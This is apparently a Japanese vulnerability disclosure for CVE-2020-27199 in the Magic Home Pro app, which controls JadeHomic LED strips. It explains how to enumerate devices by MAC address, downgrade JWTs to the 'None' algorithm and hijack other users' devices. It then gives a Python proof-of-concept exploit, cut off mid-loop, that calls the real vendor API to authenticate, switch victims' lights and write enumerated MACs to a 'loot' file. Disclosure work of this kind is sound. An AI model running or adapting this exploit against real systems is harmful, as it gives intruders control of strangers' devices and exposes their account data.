
CVE-2020-27199

Magic Home Pro Mobile Application(モバイルアプリケーション)に複数の脆弱性が見つかりました。このアプリケーションは、JadeHomic LED Strip RGB Kitと連携するために使用されます。これらの脆弱性の中で最も重大なものは、認証バイパス (CVE-2020-27199) の脆弱性であり、最終的には被害者の全デバイスグループを完全に乗っ取り、制御することを可能にします。
magichome-forge.py - JWT Forger、デバイスの乗っ取りを自動化するために使用
magichome-sniffer.py - ローカルネットワークスニファー。ネットワークをスキャンして影響を受けやすいデバイスを検索します。攻撃を実行可能なデバイスのリストを構築します。
magichome-switch.py - デバイスの照明を点灯することを可能にします。
magichome-takeover.py - ユーザーアカウントの正常な乗っ取りを可能にするペイロード
Suzhou SmartChip Semiconductor Co.,Ltd
この脆弱性により、認証されたユーザーは現在の認証レベルを利用して、自分が登録した製品に属さないエンドポイントを調査できます。その際、API呼び出し /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address> を使用します。これにより、HTTP応答でエンドポイントの存在が示され、関連するエンドポイントのユーザー名、ユーザー固有識別子 (userUniID)、バインドされた固有ID (bindedUniID) が返されます。
上記の調査を使用して、攻撃者は次に、新たに列挙されたMACアドレスを用いて、API /app/sendCommandBatch/ZG001 への無許可のPOST要求を利用し、互換性のある16進コマンド 71230fa3 および 71240fa4 を使用してリモートエンドポイントにコマンドを送信し、それぞれONとOFFを実現します。
初期列挙が完了した後、JWTペイロードデータ内の userID と uniID を使用してJWTを偽造することも可能であり、実質的にJWTヘッダーセクションのアルゴリズムとして'None'を使用するようにトークンをダウングレードします(署名バイパスの脆弱性)。この脆弱性を利用することで、アプリケーションは攻撃者によるデバイス乗っ取りの影響を受けやすくなります。これは、リモートAPI呼び出し /app/shareDevice/ZG001 を使用し、JSONパラメータ friendUserID を利用してデバイスを攻撃者のデバイスリストに追加することで実現され、攻撃者にエンドポイントデバイスの完全な制御を与えます。
クレジット:
OUIは、組織に登録されたMACアドレスの組織固有識別子(Organization Unique Identifier)を表します。JadeHomicの場合、マジックOUIは C8:2E:47 であり、最初の3バイトが製造元に対応し、次の3バイトが製造元によって割り当てられたシリアル番号に対応します。今回の場合、製造元識別子は Suzhou SmartChip Semiconductor Co., LTD に登録されています。
Magic Home Proモバイルアプリケーションの認証バイパスを可能にし、その結果、被害ユーザーの全デバイスグループを完全に制御できるようになります。
概念実証は、MAC範囲内の最後のバイトを列挙し、結果を返します。思い切って試す場合、'リモート実行'のテストが可能です。``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):
outtahere = ""
q = "q"
if len(str(target)) < 12:
print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
while outtahere.lower() != q.lower():
if outtahere == "0":
turnOn(target, token)
elif outtahere == "1":
turnOff(target, token)
outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)
def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"
data = {
"userID":"<Valid Registered Email/Username>",
"password":"<Valid Registered Password>",
"clientID":""
}
headersAuth = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
# First Stage Authenticate
os.system('clear')
print (Fore.WHITE + "[+] Authenticating ...")
response = requests.post(urlAuth, json=data, headers=headersAuth)
resJsonAuth = response.json()
token = (resJsonAuth['token'])
# Second Stage Enumerate
print (Fore.WHITE + "[+] Enumerating ...")
macbase = "C82E475DCE"
macaddress = []
a = ["%02d" % x for x in range(100)]
for num in a:
macaddress.append(macbase+num)
with open('loot.txt', 'w') as f:
for mac in macaddress:
urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001"
params = {
"macAddress":mac
}